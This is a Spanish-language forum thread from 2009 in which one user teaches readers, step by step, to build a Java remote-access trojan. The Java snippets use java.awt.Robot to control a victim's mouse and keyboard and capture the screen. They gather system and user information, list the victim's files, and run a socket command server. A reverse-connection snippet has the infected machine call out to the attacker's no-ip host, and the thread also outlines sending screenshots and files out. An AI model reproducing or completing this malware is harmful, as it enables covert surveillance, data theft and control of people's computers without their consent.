Como crear un Troyano en Java

Iniciado por egyware, 25 Agosto 2009, 16:14 PM

0 Miembros y 1 Visitante están viendo este tema.

egyware

Hola saludos, aqui estoy dando un aporte grandisimo, me he animado de ganas para copiar y pegar mi antiguo post de otro foro a acá para que lo vean.
Omitire el faq que hice hace tiempazo porque al parecer todo son hackers, le agradezco tambien a Casidiablo que estubo ayudandome con algunos algoritmos, en especial para enviar imagenes.
Bueno no les enviare mi source ni jar, porque no quiero que sean flojos hagan el suyo propio a mi me costo mucho!!!.
Post Orignal: Post en Tecnolust comunidad peruana

Conocimientos Previos
Antes de empezar
Debes saber el uso de ciertas clases
- Socket y  SocketServer (si ya sabes puedes probar SSLSocket), estas clases estan en java.net
- InputStream y OutputStream y todas sus derivadas, estas estan en java.io
- saber usar el Programa Telnet, es muy util a la hora de enviar comandos Entendibles
- saber Programar en Java, no te enseñare aqui si no sabes pregunta en otro tema o bajate manuales.
- Usar un IDE, te ayudara a editar mucho mas rápido tu codigo, probarlo.
- No importa el OS que uses, linux y windows son lo mismo para java (a excepcion de windows que es mas facil de implementar el autoejecutable reg...)


Esta obra está publicada bajo una Atribución-No Comercial 2.0 Chile de Creative Commons. Para ver una copia de esta licencia, visite http://creativecommons.org/licenses/by-nc/2.0/cl/.

egyware

#1
Uso de la Clase que nos dara un gran poder sobre el pc infectado (desde ahora el pc zombie guajaajaa)
java.awt.Robot vee en http://java.sun.com/j2se/1.5.0/docs/api/java/awt/Robot.html


CitarThis class is used to generate native system input events for the purposes of test automation, self-running demos, and other applications where control of the mouse and keyboard is needed. The primary purpose of Robot is to facilitate automated testing of Java platform implementations.
Upss!!!!
Bueno resumidamente dice esta clase es solo para probar y testear implementacions de Java

Pero lo usaremos para otros motivos
-Constructor
Robot()
Robot(GraphicsDevice screen)
El primero se contruye para el monitor principal
El Segundo para un monitor que uno defina
-Metodos
createScreenCapture(java.awt.Rectangle screenRect) returns java.awt.image.BufferedImage
Permite obtener screenshoots de la pantalla o monitor zombie, su parametro es la dimesion a copiar
keyPress(int keycode) y keyRelease(int keycode)
Nos permitiran presionar y soltar teclas, las teclas estan definidas en java.awt.event.KeyEvent.VK_*, donde * es una tecla
tb si usamos char pero solo conteniendo letras en mayusculas como parametro se escribira la tecla correspondiente en mayuscula o minuscula dependiendo si tiene el bloqueo de mayuscula activado
mouseMove(int x, int y)
Moverá el mouse a la posicion indicada
mousePress(int buttons) y mouseRelease(int buttons), presionar o soltara el boton del mouse eso esta definido en java.awt.event.InputEvent.BUTTONX_MASK, donde X es igual a 1,2,3 que corresponden al boton izquierdo, centro, derecho respectivamente.

- Cuidados
Esta clase puede lazar una excepcion del tipo AWTExcepcion, asi que mucho cuidado, tratenla con amor, y en linux hay que tener permisos especiales a la aplicacion para lanzar eventos de bajo nivel.
Bueno eso es todo si quieren pueden revisar la pagina que les di tiene mas informacion sobre la clase.

egyware

Hasta este punto creo a alguien ya se a topado con estas clases.
java.util.Properties y java.awt.Toolkit
Bueno estas clases nos daran cierta informacion util sobre el pc zombie, pero asi por si solas no haran nada, de por si nada, entonces hay que inicialisarlas


Código (java) [Seleccionar]

java.util.Properties propiedades = System.getProperties();
java.awt.Toolkit toolkit = java.awt.Toolkit.getDefaultToolkit();


ok
tenemos los datos inicialisados, pero que ganamos con eso
con Toolkit toolkit.getScreenSize();
obtenemos el tamaño de la pantalla que es util para obtener screenshoot

Properties propiedades.list(System.out);
Con esto obtenemos una lista de propiedades, con esa lista solo seleccionaremos
la que nos mas nos gusta como
os.name nombre del os
user.name nombre del usuario
.......

bueno eso es todo ahora espero que con esto creen una clase que sea capas de crear eventos de bajo nivel(Robot)
obtener informacion del sistema y realizar capturas de pantalla.
Asi como tarea haganlo!!! Enojado yo ya hice uno mejor al que tenia pero tiene ademas acceso a la consola(Cmd o bash) y registro de windows.
Espero que realicen esta clase y vean como controlan su propio pc jijiji.

egyware

Mostrar informacion sobre los ficheros en el pc.
Bueno esto no se si será taaaan util mas bien de curioso
Pero si puede ser util cuando nos encontramos algún pedofilo y denunciarlo y hacer algo bueno por el mundo.
Bueno entre otras cosas.
Clase a utilizar
java.io.File
primero que nada como mostramos los ficheros contenidos en el pc zombie  Huh
¿Como sabemos si es un windows o un linux? Porque el sistema de ficheros es distinto
Aunque con la repuesta anterior se sabe bien que os con cual estamos trabajando, pero hay otra forma mucho mas facil
File root[] = File.listRoots();
Con esto de inmediato obtenemos los archivos del directorio raíz.
Pero como si Windows no tiene un directorio raíz como los Linux!!!!!
Bueno en realidad no pero sin embargo el arreglo root en Windows contendrá las unidades de disco como A: B: C: D: ..... mientras que en un Linux (no estoy seguro) mostrara todos los archivos contenidos en / (directorio raíz), entonces ya sabemos cuales son sus archivos y/o directorios empezamos a trabajar con ellos.
Basta solo tomar un elemento del arreglo y usar el metodo listFiles() para mostrar los archivos contenidos en ese directorio, como nota nunca he probado con un archivo que lo que pasa siempre he tenido la precaución de solo usar directorios(haciendo la precaucion isDirectory()).

En Resumen un poco de codigo:

Código (java) [Seleccionar]
//getAbsolutePath() uso este metodo para mostrar la ruta completa del archivo involucrado
File root[] = File.listRoots();
//Mostrarlos
for(int i=0;i<root.length;i++)
System.out.println(root[i].getAbsolutePath());
//tomando cualquiera
File dirs[] = root[0].listFiles();
for(int i=0;i<dirs.length;i++)
System.out.println(dirs[i].getAbsolutePath());
//ahora uno cualquiera
File dirs[] = new File("C:\\Windows").listFiles();
for(int i=0;i<dirs.length;i++)
System.out.println(dirs[i].getAbsolutePath());

Eso es todo, usen el ultimo metodo solo con la precaucion que de exista y sea directorio por que no he probado que es lo que pasa
y como Regalito  Sonreir
parte de mi codigo, de la clase que contrala el pc, que muestra los archivos del pc zombie

Código (java) [Seleccionar]
public String showFile(String parameter){
try {
StringBuilder sb = new StringBuilder();
File[] mostrar = null;
if (CS.CheckEqual("ROOT", parameter))mostrar = File.listRoots();
else {
File ver = new File(parameter);
if(!ver.exists())
return "No Existe\n\r";
if(!ver.isDirectory())
return "No es un Directorio\n\r";
mostrar = ver.listFiles();
}
for(int i = 0;i <mostrar.length ;i++){
sb.append('\r');
sb.append(mostrar[i].getAbsoluteFile());
sb.append('\n');
}
sb.append('\r');
return sb.toString();
} catch (Exception e){
return "Error: "+e+"\n\r";
}
}

Eso es todo, por hoy.
La proxima respuesta sera control remoto   ;D :P

egyware

#4
Hola a Todos
Como algunos se dieron cuenta puse una carita triste, porque este tema es muy dificil de implementar, aunque existe varias formas de hacerlo usando Comandos por Texto o comandos binarios, pero por comodidad de prueba lo hare por texto porque es mas facil de probar que el binario pero es mas lento en comunicacion que el binario, por ejemplo definimos un comando de mover el mouse
Binario
(byte)(int)(int)
el primer byte es el codigo para mover el mouse los 8 siguientes bytes son dos enteros que tienen la posicion (x,y) para mover el mouse
Algoritmo
leer un byte
revisar con un if o swicth si es igual al byte predefinido como MOVE
crear 2 variables x e y como enteras
leer un entero de 4 bytes y guardarlo en x
leer un entero de 4 bytes y guardarlo en y
mover el mouse a la posicion indicada
Nota: Cuidado los bytes del entero pueden estar en Big o Little Endian

Texto
(char ?)(char)
"MOVE 100 100\n"
la longitud del comando es desconocida pero sabemos que termina en un char y ese char es un salto de linea '\n'
a esto debe tratarse  de forma especial
Algoritmo
leer una linea
empieza con "MOVE"
crear una variable auxiliar parametro
parametro toma el mismo valor que la linea leida sin "MOVE "
buscar el indice del espacio ' '
crear variable x con el valor del numero que esta contenido en parametro desde 0 hasta el indice del espacio
crear variable y con el valor del numero que esta contenido en parametro desde indice del espacio + 1
mover el mouse el mouse a la posicion indicada

Bueno en resumen estamos metidos en un problema, como lo hacemos
bueno por recomendacion yo digo hacerlo en txt ya que con el programa Telnet podemos probar rapidamente pero sin embargo en binario deberiamos hacer un programa aparte para probar.

egyware

#5
Clases a usar
java.net.ServerSocket
java.net.Socket

Programa para testear
Telnet

Primero que nada haremos un ejemplo de un servidor de eco
este ejemplo lanza IOException pero no los colocare para simplificar el codigo

Código (java) [Seleccionar]
import java.net.*;
import java.io.*;
public class Manejador implements Runnable{
  private BufferedReader in;
  private BufferedWriter out;
  private Socket socket;
  public Manejador(Socket socket){
      //esto siempre lo haremos
      this.socket = socket;
      in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
      out = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream()));
  }
  public void run(){
      String line;
     while(true){
      line = in.readLine();
      out.write(line);
      out.write("\n\r");
      out.flush();
     }
  }
  public static void main(String args[]){
      int puerto = 4444;
      ServerSocket servidor = new ServerSocket(puerto);
      while(true){
           new Thread(new Manejador(servidor.accept())).start();
      }

  }
}



Este servidor es simple, primero deben compilarlo y ejecutarlo
es posible que en windows salga alguna advertencia del firewall solo hagan click en desbloquear
despues de eso
escriben en su consola
telnet localhost 4444
luego cada cosa que escriban se les devolvera
bueno este ejemplo es para que conozcan un poco la mecanica de de un Servidor y cliente
si se dieron cuenta
tiene un bucle while que se repite siempre
luego lee un mensaje entrante (se bloquea hasta conseguir uno)
y lo escribe mas \n  y \r y libera el buffer(out.flush)
bueno eso es todo por el momento.
En el siguiente post concretaremos algo mejor.

egyware

Hola a todos, siguiendo el tema

Código (java) [Seleccionar]
public static void main(String args[]){
      int puerto = 4444;
      ServerSocket servidor = new ServerSocket(puerto);
      while(true)
              new Thread(new Manejador(servidor.accept())).start();

}


Pero que es esto  :huh:
Bueno antes de seguir les debo mas explicación
lo que hace este codigo se pone a la escucha en el puerto 4444,
pero ¿Qué es un puerto?
un puerto es una entrada o conexión a la internet (red), una computadora usa una direccion (IP) y un puerto para conectarse a otra computadora
como por ejemplo google.com y 80, google.com se traduce a una direccion ip, entonces uno para bajar contenido desde la internet generalmente (no siempre) uno se conecta al puerto 80 del computador remoto.

Siguiendo con la explicacion la clase ServerSocket se pone a la eschucha en el puerto 4444 en la direccion localhost (127.0.0.1), eso es lo que hace ese constructor, pero no solo con crearlo basta
hay que ponerse a la escucha servidor.accept() este metodo lo que hace es ponerse a la escucha y esperar una conexión(se bloquea hasta recibirla), entonces cuando llega una devuelve un objeto Socket con tal conexión, luego esa conexión se la pasamos como argumento a nuestro clase Manejador, el objeto recien creado se lo pasamos a Thread y le echamos andar el thread
un poco complicado eh!!!

Dentro del run es donde hacemos todo
bueno eso depende del programador como lo haga, pero yo prefiero hacer lo ahí.
Ahora nuestro servidor eco lo moficaremos solo en la parte donde esta el metodo run

Código (java) [Seleccionar]

public void run(){
   //debes saber que omito las capturas de errores
   //esta variable se usa para seguir la ejecución (done significa hecho) la inicializo false porque es natural decir que no esta listo
   boolean done = false;
   //esta variable se usa para almacenar la linea leida
   String line;
   //como no esta listo uso la negacion de done (!done)
   while(!done){
      //dentro del while aqui bucle while viene la magia (la magía como decia mi abuelo Q.E.P.D)
      line = in.readLine().trim(); //al igual que el servidor eco, pero borramos los espacios que pueda tener (adelante o atras)
      //vamos con la magia (redoble de tambores)
      if(line.equalsIgnoreCase("Comando1")){
         //eee lo logramos
         //accion 1
         out.write("Respuesta1");
      }else
      if(line.equalsIgnoreCase("Comando2")){
        //otro más
        //accion 2
         out.write("Respuesta2");
      }//..... y todos los que se te ocurra
      //ves facil aa se me le olvidava
     //aqui antes de salir del bloque while hacemos un flush de los datos
     out.flush();
   }
}


Viste que facil
ahora es solo cuestión de inventar comandos
y acciones concretas
complementando con las primeras respuestas
ya tenemos nuestro troyano y poderlo probar de inmediato con el programa telnet
este programa correra hasta que tu inventes un comando para que done se haga true

Nota: Puedes modificar la Implementación de StringTokenizer para revisar comandos y argumentos actualmente lo tengo asi y me funciona de maravilla  ;D

egyware

Bueno hasta el momento tenemos listo nuestro troyano
¿Pero como podemos infectar a otros pc?
¿Como hacemos que se conecte a nosotros?

Bueno la pregunta de como infectar estan en los temas de diseño de Malware (sumpongo :huh:)

Entonces como hacemos que se conecte???
Facil tenemos 2 metodos
conexión Directa
conexión Inversa
No explicare de que se tratan porque existe una explicacion mejor en otros foros de aqui pero hare un resumen de ellas
conexión Directa
Se trata de que el pc zombie se pone a la escucha y espera conecciónes
Ventajas:
    - No se ninguna
Desventajas
    - Bloqueo Firewall
    - Debes buscar la IP del infectado (las mayoria de las IP son dinámicas  Enojado)

PC Zombie


Código (java) [Seleccionar]

ServerSocket server = ServerSocket(IP_del_PC, numero_de_conecciones, Puerto);
Socket s = server.accept();
.....


PC Cliente (osea el tuyo)


Código (java) [Seleccionar]

Socket s = new Socket(IP_de_la_Victima, puerto)
.....


conexión  Inversa   
Se trata de el pc zombie se conecta a ti
Ventajas
    - No buscas la IP del pc infectado
Desventajas
    - Debes desbloquear puertos del router (no hay problema existen muchos manuales  ::))
    - Debes tener una direccion no-IP(ó un nomnbre DNS) en caso de que tengas una direccion IP dinámica
PC Zombie

Código (java) [Seleccionar]

Socket s = new Socket(nombre_cualquiera.no-ip.info, puerto)
....


PC Cliente (osea el tuyo)
Código (java) [Seleccionar]

ServerSocket server = ServerSocket(nombre_cualquiera.no-ip.info, numero_de_conecciones, Puerto);
Socket s = server.accept();
.....

Asumiendo nombre_cualquiera.no-ip.info es una direccion no-ip tuya actualizada a la ip que tienes

egyware

Hola he terminado de transcribir todo mis mensajes y creo que faltaron algunas cosas, como por ejemplo tranferencia de Archivos y Imagenes, bueno voy hacer un esbozo de como hacerlo.

Para la pantalla
Debes capturar la pantalla usando la clase Robot, luego debes escribirla en un Arreglo de bytes. Para eso puedes usar las clases que estan en javax.imageio que permiten escribir y leer imagenes y para el Arreglo de Bytes usa la clase ByteArrayOutputStream(creo que se llama asi) pero puedes encontrartelas en el paquete java.io. Luego envias el arreglo de bytes usando algun protocolo.
El post donde le preguntaba a casidiablo como enviar imagenes debe estar perdido por aqui si se dan la flojera pueden buscarlo yo no lo he encontrado.

Para los archivos
Es casi lo mismo que la pantalla pero te recomiendo que uses un simple arreglo de bytes de 512, 1024,... osea un buffer porque si subes un archivo de golpe a la memoria tu troyano se caera. Entonces inventas un sistema que te permita enviar de a pedazos y reconstruirlo en tu pc.

Para esto yo invente sistemas apartes, osea realizo otras conexiones, con protocolos distintos.
Bueno eso es todo, no tengo mas que enseñarles y/o mostrarles.
Me despido espero que sea de su compresión y agrado.
Adios
;D ;D ;D




kinos